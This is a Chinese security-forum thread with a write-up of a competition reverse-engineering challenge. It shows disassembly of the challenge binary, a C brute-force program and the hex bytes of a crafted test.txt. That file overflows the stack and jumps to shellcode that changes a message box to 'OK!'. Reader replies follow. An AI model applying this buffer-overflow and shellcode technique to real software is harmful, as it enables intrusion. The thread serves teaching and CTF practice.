missviola 发表于 2010-10-5 12:10

某比赛的一个题目分析

本帖最后由 missviola 于 2010-10-5 12:11 编辑

【文章标题】: 某比赛的一个题目分析
【文章作者】: missviola
【下载地址】: 附件中有
【使用工具】: OD WinHex VC
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【详细过程】
这几天在做某个比赛的试题,偶有心得,不敢共享,写出来和大家分享分享.
打开题目,只有一个按钮,点击之后提示Failed.试题的要求是通过溢出,将跳出对话框的内容和标题变为OK!.那我们首先用
PEID查下壳吧,显示为Nothing found * ,看看区段,应该没有加壳- -|||.算了,直接用OD载入,查找下字符串看看能不能找
到入手点吧.很幸运看到了这里:

Ultra String Reference, 条目 2
   Address=0040038B
   Disassembly=push    00400260
   Text String=failed!

双击过去在段首下一个断点,运行程序,点击后断下,开始分析:

004002F6/$55            push    ebp
004002F7|.8BEC          mov   ebp, esp
004002F9|.83EC 10       sub   esp, 10
004002FC|.56            push    esi
004002FD|.57            push    edi
004002FE|.33FF          xor   edi, edi
00400300|.8D4D F0       lea   ecx, dword ptr
00400303|.33F6          xor   esi, esi
00400305|.897D FC       mov   dword ptr , edi
00400308|.897D F8       mov   dword ptr , edi
0040030B|.E8 60010000   call    00400470
00400310|.68 6C024000   push    0040026C                         ;test.txt
00400315|.8D4D F0       lea   ecx, dword ptr
00400318|.E8 63010000   call    00400480                         ;打开文件
0040031D|.85C0          test    eax, eax
0040031F|.74 64         je      short 00400385
00400321|.8D45 FC       lea   eax, dword ptr
00400324|.8D4D F0       lea   ecx, dword ptr
00400327|.50            push    eax
00400328|.E8 D3010000   call    00400500
0040032D|.85C0          test    eax, eax
0040032F|.74 54         je      short 00400385
00400331|.8B4D FC       mov   ecx, dword ptr
00400334|.83F9 08       cmp   ecx, 8
00400337|.7E 4C         jle   short 00400385                   ;文件长度要大于8
00400339|.B8 00100000   mov   eax, 1000
0040033E|.3BC8          cmp   ecx, eax
00400340|.7F 43         jg      short 00400385                   ;文件长度要小于1000
00400342|.6A 40         push    40                               ; /Protect = PAGE_EXECUTE_READWRITE
00400344|.41            inc   ecx                              ; |
00400345|.50            push    eax                              ; |AllocationType => MEM_COMMIT
00400346|.51            push    ecx                              ; |Size
00400347|.57            push    edi                              ; |Address
00400348|.FF15 24024000 call    dword ptr [<&KERNEL32.VirtualAll>; \VirtualAlloc
0040034E|.8BF0          mov   esi, eax
00400350|.3BF7          cmp   esi, edi
00400352|.74 31         je      short 00400385
00400354|.8D45 F8       lea   eax, dword ptr
00400357|.53            push    ebx
00400358|.50            push    eax
00400359|.56            push    esi
0040035A|.FF75 FC       push    dword ptr
0040035D|.8D4D F0       lea   ecx, dword ptr
00400360|.E8 AB010000   call    00400510
00400365|.8D4D F0       lea   ecx, dword ptr
00400368|.8BD8          mov   ebx, eax
0040036A|.E8 61010000   call    004004D0
0040036F|.3BDF          cmp   ebx, edi
00400371|.5B            pop   ebx
00400372|.74 11         je      short 00400385
00400374|.8B45 FC       mov   eax, dword ptr
00400377|.3945 F8       cmp   dword ptr , eax
0040037A|.75 09         jnz   short 00400385
0040037C|.50            push    eax
0040037D|.56            push    esi
0040037E|.E8 FDFEFFFF   call    00400280                         ;关键算法CALL
00400383|.59            pop   ecx
00400384|.59            pop   ecx
00400385|>57            push    edi                              ; /Style
00400386|.68 68024000   push    00400268                         ; |try
0040038B|.68 60024000   push    00400260                         ; |failed!
00400390|.57            push    edi                              ; |hOwner
00400391|.FF15 4C024000 call    dword ptr [<&USER32.MessageBoxA>>; \MessageBoxA

初步分析程序打开了一个名字为test.txt的文件,然后文件的长度有一些要求.0040037E这里的是关键call,我们构造一个
txt文件然后F7单步进去继续分析 - -||| :

00400280/$55            push    ebp
00400281|.8BEC          mov   ebp, esp
00400283|.83EC 2C       sub   esp, 2C                                 ;开辟堆栈大小为0x2C
00400286|.8065 D4 00    and   byte ptr , 0
0040028A|.56            push    esi
0040028B|.57            push    edi
0040028C|.6A 0A         push    0A
0040028E|.59            pop   ecx
0040028F|.33C0          xor   eax, eax
00400291|.8D7D D5       lea   edi, dword ptr
00400294|.837D 0C 00    cmp   dword ptr , 0
00400298|.F3:AB         rep   stos dword ptr es:
0040029A|.66:AB         stos    word ptr es:
0040029C|.AA            stos    byte ptr es:
0040029D|.7C 51         jl      short 004002F0
0040029F|.8B75 08       mov   esi, dword ptr
004002A2|.68 A802CC78   push    78CC02A8
004002A7|.68 1B8F9469   push    69948F1B
004002AC|.FF76 04       push    dword ptr
004002AF|.FF36          push    dword ptr
004002B1|.E8 0A030000   call    004005C0                                  ;进行64位乘法,同0x78CC02A869948F1B相乘
004002B6|.68 82FFE65B   push    5BE6FF82
004002BB|.68 854716A5   push    A5164785
004002C0|.52            push    edx
004002C1|.50            push    eax
004002C2|.E8 79020000   call    00400540                                  ;进行取模运算,同0x58E6FF82A5164785取模
004002C7|.6A 04         push    4
004002C9|.8BCE          mov   ecx, esi
004002CB|.5F            pop   edi
004002CC|>8031 1C       /xor   byte ptr , 1C
004002CF|.8A11          |mov   dl, byte ptr
004002D1|.3051 01       |xor   byte ptr , dl
004002D4|.41            |inc   ecx
004002D5|.41            |inc   ecx
004002D6|.4F            |dec   edi
004002D7|.^ 75 F3         \jnz   short 004002CC                           ;这里的循环又会对前八位byte进行变换
004002D9|.6A 1A         push    1A
004002DB|.59            pop   ecx
004002DC      2BC8          sub   ecx, eax                                  ;0x1A - eax
004002DE|.0FAFC8      imul    ecx, eax                                  ;ecx * eax
004002E1|.81E9 9C000000 sub   ecx, 9C                                 ;ecx - 9C
004002E7|.85C9          test    ecx, ecx
004002E9|.7E 05         jle   short 004002F0
004002EB|.8D7D D4       lea   edi, dword ptr
004002EE|.F3:A5         rep   movs dword ptr es:, dword ptr ;溢出点
004002F0|>5F            pop   edi
004002F1|.33C0          xor   eax, eax
004002F3|.5E            pop   esi
004002F4|.C9            leave
004002F5\.C3            retn

004002EE这里就是溢出点了,观察下堆栈发现我们需要进行0xD次操作可以覆盖掉返回地址,也就是说此时ecx要等于0x0D,
而ecx的值又是由eax来决定的.我们往上拉,发现之前程序读取了test.txt的前八个字节,进行了两次64位的运算,结果就
存放在eax中.那我们就写一个小程序来穷举一下吧:

#include<iostream.h>
#include <stdio.h>

unsigned int _stdcall l(unsigned int i);
void main()
{
    unsigned int value=0;
    unsigned int i = 0;
    while(1)
    {
      value=l(i);
      if(value==0xA5164792 || value==0x4A2C8F17|| value==0x0000000D)
      {
      printf("The result is:%08X\n",i);
      }

      i++;

       if(i == 0xFFFFFFFF)

       break;
    }
    printf("Mission Complete!\n");
    getchar();
    return;
}
unsigned int _stdcall l(unsigned int i)
{
    return 0x69948F1B*i;
}

穷举的结果一共有3个:0x3D6365D6,0x8AD397F7,0xEFF333B5.最后一个结果可以使溢出文件最小,我们就选择最后一组吧.
我们发现在关键call返回的时候,esi的内容指向之前virtualalloc函数分配的内存空间地址的首部,所以我们可以在程序
中寻找看看有没有jmp esi这样的语句,这样关键call返回后又会跳到我们临时分配的临时空间执行代码,如果这里我们跟上
我们的shellcode的话,那岂不是,嘿嘿嘿... - -||||

004002B8|?FFE6          jmp   esi

所以我们可以把返回地址溢出为004002B8,到这里我们修改下test.txt文件的内容吧:

B5 33 F3 EF 00 8C 00 8C 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
B8 02 40 00

这里的8C经过变换之后会变成90,也就是nop指令啦~

01B60000    A9 9AEF001C   test    eax, 1C00EF9A
01B60005    90            nop
01B60006    1C 90         sbb   al, 90

到这里都是符合我们要求的,下面我们就可以写溢出代码了,注意这里要平衡下ebp,不然溢出后会崩溃:

01C10000    A9 9AEF001C   test    eax, 1C00EF9A
01C10005    90            nop
01C10006    1C 90         sbb   al, 90
01C10008    C705 60024000 4>mov   dword ptr , 214B4F
01C10012    C705 68024000 4>mov   dword ptr , 214B4F
01C1001C    8D6C24 20       lea   ebp, dword ptr       ;平衡ebp
01C10020    FF66 23         jmp   dword ptr

最终修改的test.txt内容如下:

B5 33 F3 EF 00 8C 00 8C C7 05 60 02 40 00 4F 4B
21 00 C7 05 68 02 40 00 4F 4B 21 00 8D 6C 24 20
FF 66 23 83 03 40 00 00 00 00 00 00 00 00 00 00
B8 02 40

好了,最后到了我们享受成果的时候了,将test.txt文件同程序放在同一目录下,点击按钮,成功溢出了程序!!!

--------------------------------------------------------------------------------
【经验总结】
这个题目出得非常的精彩,溢出的条件要解一个64位的方程,解出来的解又要能作为opcode执行.大家有条件的话,最好动手
操作一下,可以从中学到很多东西.

--------------------------------------------------------------------------------
【版权声明】: 本文原创于52pojie技术论坛, 转载请注明作者并保持文章的完整, 谢谢!

                                                       2010年10月05日 12:07:53

876571657 发表于 2010-10-5 12:16

前排留名····嘿嘿学习下···

qq526033781 发表于 2010-10-5 12:30

先收藏了,因水平原因,尚不敢随意阅读,唯恐窥得天机,致走火入魔

lionshine 发表于 2010-10-5 13:02

这个是好东西,虽然我看不懂。

cv900302 发表于 2010-10-5 15:36

有点难,不过还是看看

小糊涂虫 发表于 2010-10-5 17:10

我是来学习的。。。。

261044691 发表于 2010-10-5 17:14

大牛的东西 小弟玩不懂

xiaobai 发表于 2010-10-5 17:37

有几个地方需要调试才能明白
value==0xA5164792 || value==0x4A2C8F17 怎么来的?
这里的8C经过变换之后会变成90,变换在哪里,进行什么变换?文章没有说明,也需要调试
需要调试配合文章看

duoluo211 发表于 2010-10-5 17:38

学习下!

ljx198882 发表于 2010-10-5 17:50

学习下 谢谢诶
页: [1] 2 3
查看完整版本: 某比赛的一个题目分析